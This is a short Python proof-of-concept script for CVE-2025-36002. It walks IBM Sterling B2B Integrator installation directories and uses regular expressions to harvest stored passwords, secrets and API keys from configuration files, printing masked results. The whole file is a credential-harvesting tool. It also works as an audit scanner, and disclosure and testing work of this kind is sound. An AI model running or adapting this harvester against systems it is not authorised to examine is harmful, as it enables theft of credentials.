# CVE-2025-36002 PoC - IBM Sterling B2B Integrator Credential Exposure
# This PoC demonstrates how a local user can read stored credentials from configuration files
import os
import re
import sys
def search_credentials(config_path):
"""
Search for credential patterns in IBM Sterling B2B Integrator configuration files.
Common locations include:
- <install_dir>/properties/<service>.properties
- <install_dir>/config/<service>_config.xml
- <install_dir>/profiles/<profile>/configuration/...
"""
credential_patterns = [
re.compile(r'(?i)(password\s*[=:]\s*["\']?)([^"\'\s]+)'),
re.compile(r'(?i)(passwd\s*[=:]\s*["\']?)([^"\'\s]+)'),
re.compile(r'(?i)(secret\s*[=:]\s*["\']?)([^"\'\s]+)'),
re.compile(r'(?i)(credential\s*[=:]\s*["\']?)([^"\'\s]+)'),
re.compile(r'(?i)(api[_-]?key\s*[=:]\s*["\']?)([^"\'\s]+)'),
]
found_credentials = []
if not os.path.exists(config_path):
print(f"[-] Path not found: {config_path}")
return found_credentials
for root, dirs, files in os.walk(config_path):
for filename in files:
# Focus on configuration files
if filename.endswith(('.properties', '.xml', '.cfg', '.conf', '.ini', '.yaml', '.yml', '.json')):
filepath = os.path.join(root, filename)
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
for line_num, line in enumerate(f, 1):
for pattern in credential_patterns:
match = pattern.search(line)
if match:
found_credentials.append({
'file': filepath,
'line': line_num,
'type': match.group(1).strip().rstrip('=:').strip(),
'value': match.group(2),
'full_line': line.strip()
})
except PermissionError:
print(f"[!] Permission denied: {filepath}")
except Exception as e:
print(f"[!] Error reading {filepath}: {e}")
return found_credentials
def main():
# Common IBM Sterling B2B Integrator installation paths
default_paths = [
'/opt/IBM/SterlingIntegrator',
'/opt/IBM/SterlingFileGateway',
'/usr/local/IBM/SterlingIntegrator',
'/home/stering/install',
os.environ.get('SI_HOME', ''),
]
print("=" * 60)
print("CVE-2025-36002 - Credential Exposure Scanner")
print("IBM Sterling B2B Integrator / File Gateway")
print("=" * 60)
target_path = sys.argv[1] if len(sys.argv) > 1 else None
if target_path:
paths_to_scan = [target_path]
else:
paths_to_scan = [p for p in default_paths if p and os.path.exists(p)]
if not paths_to_scan:
print("[-] No valid installation paths found. Please specify a path.")
return
for path in paths_to_scan:
print(f"\n[*] Scanning: {path}")
creds = search_credentials(path)
if creds:
print(f"\n[!] Found {len(creds)} potential credential(s):")
for cred in creds:
# Mask sensitive values for display
masked_value = cred['value'][:3] + '*' * (len(cred['value']) - 3) if len(cred['value']) > 3 else '***'
print(f" File: {cred['file']}")
print(f" Line: {cred['line']}")
print(f" Type: {cred['type']}")
print(f" Value: {masked_value}")
print(f" ---")
else:
print("[-] No credentials found in accessible files.")
if __name__ == "__main__":
main()
# Usage:
# python3 cve_2025_36002_poc.py /opt/IBM/SterlingIntegrator
# python3 cve_2025_36002_poc.py # Auto-detect installation path